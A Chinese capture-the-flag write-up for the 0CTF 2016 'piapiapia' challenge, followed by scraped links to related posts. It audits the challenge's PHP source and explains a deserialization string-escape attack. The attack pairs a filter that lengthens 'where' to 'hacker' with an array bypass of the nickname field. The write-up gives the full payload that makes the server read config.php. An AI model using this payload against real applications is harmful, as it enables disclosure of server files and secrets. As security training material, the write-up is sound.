[0CTF 2016]piapiapia

(一)
dirsearch扫出了了www.zip压缩包

(二)

在config.php中有变量flag,但为空,flag应该在服务器的config.php文件中,要找可以利用的漏洞读取服务器的flag

(三)代码审计

有注册功能,且代码中要求必须注册才能进行其后的操作;
update.php中对用户填写的信息进行了一些限制,且将信息序列化保存;class.php 中的 filter 也对用户信息进行了限制.

1、update.php
(1)phone 长度为11位;
(2)nickname长度小于 10 位,且只能为字母和数字;
(3)将用户填写的 phone、email、nickname 以及上传的 文件进行序列化

<?php
require_once('class.php');if($_SESSION['username'] == null) {die('Login First');    }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';......

2、class.php 中的限制:

(1)update_profile 中对 new_profile 用 filter 进行了过滤;
(2)filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

<?php
......
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}
.....public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);
......

3、profile.php
(1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
(2)用base64编码对上传文件进行了读取和显示

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));

(四)突破:php反序列化字符逃逸

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。

1、构造数据
(1)选择构造数据的位置:构造数据要被挤到 photo 的位置,那么需要在 photo 前一个数据项,即 nickname 的位置,构造超出规定长度的数据;
(2)绕过限制:前面对 nickname 限制了长度为 10 ,这里要将其改为数组绕过
(3)获取构造数据长度

<?php
$profile['phone'] = '12345678990';
$profile['email'] = '123@123.com';
$profile ['nickname'] = ['abc'];
$profile['photo'] = 'config.php';
echo serialize($profile);

结果:

a:4:{s:5:"phone";s:11:"12345678990";s:5:"email";s:11:"123@123.com";s:8:"nickname";a:1:{i:0;s:3:"abc";}s:5:"photo";s:10:"config.php";}

读 config.php 的数据,加上对前面符号的闭合的字符串,长34位:

";}s:5:"photo";s:10:"config.php";}

即需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去
(4)在 filter 进行过滤时, ‘where’ 替换成了 ‘hacker’ ,此时字符串的长度加了 1 ,若在 nickname 处填进 34 个 ‘where’ ,就会被替换成 34 个 ‘hacker’,即nickname 的长度超出了 34 位,正好把 ";}s:5:“photo”;s:10:“config.php”;} 挤到的photo的位置。
最后 nickname 的填入的结果:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

2、利用base64编码读取服务器的config.php文件中的flag

(1)在register.php注册,任何登录,填写信息,在burpsuite中把nickname 改成数组,绕过检测nickname的正则
(2)查看profile 的源码

BUUCTF--[0CTF 2016]piapiapia相关推荐

  1. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  2. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  3. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  4. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  5. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  6. [0CTF 2016]piapiapia 详细解题思路及做法

    前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 题目 进去是一个登陆界面,尝试sql注入,发 ...

  7. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

  8. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  9. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  10. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

最新文章

  1. 单机部署open-falcon 0.2
  2. DeepFakes天敌来了!伯克利紧急研发“火眼金睛”防伪克星
  3. redhat 添加ssh端口_RHEL 7修改ssh默认端口号
  4. java反射的field.get(null)
  5. 左右声道测试_小说:少年参加测试,直接挑战十只狗恐兽,众人见了惊呼:SS级...
  6. s3c6410烧写u-bootLinux
  7. tcp协议报文和三次握手与四次挥手
  8. (HoneyView)轻便好用的免费图片浏览器
  9. 知网回应学者侵权投诉:在研究整改方案,不是一两天能解决,每天忙到零点
  10. 秦殇千年轮回java游戏下载,智云稳定器如何拍旋转画面 使用稳定器拍摄画面方法...
  11. 如何注册域名邮箱?个人域名邮箱怎么弄?域名邮箱登录入口?
  12. python一只青蛙一次可以_Python算法题(一)——青蛙跳台阶
  13. 【转】写给自学者的入门指南
  14. 不要再重复造轮子了,Hutool 这款开源工具类库贼好使
  15. 百融云创:互联网驶入深水区,金融科技保驾护航 | 会员专栏
  16. C# System命名空间表
  17. 快速理解数据库函数依赖(平凡函数依赖、非平凡函数依赖、完全函数依赖、部分函数依赖、传递依赖)
  18. 核心微生物分析_科学网—微生物组核心OTU鉴定usearch otutab_core - 刘永鑫的博文...
  19. HTTP keep-alive和TCP keepalive的区别,你了解吗?
  20. Flash Player”又来了“!

热门文章

  1. XPDL与WS-BPEL的比较之一:规范发展篇
  2. 想当然很可怕,根子还是思考上的懒惰
  3. (数据库-MySQL) Date 函数
  4. 2021年中国涂料行业现状分析(附产量、需求量、市场规模、进出口数量等)[图]
  5. 死链检查工具 Xenu
  6. 怎么删除android系统自带软件,手机系统自带的那些软件不用却卸载不了,怎么办?...
  7. 禁止查看网页源代码方法
  8. Win10系统下CMD命令提示符输入ipconfig命令无法使用的解决方法
  9. 打印机生产食物?3D打印技术推出人造肉口感佳
  10. 笔记本升级--老华硕的升级之路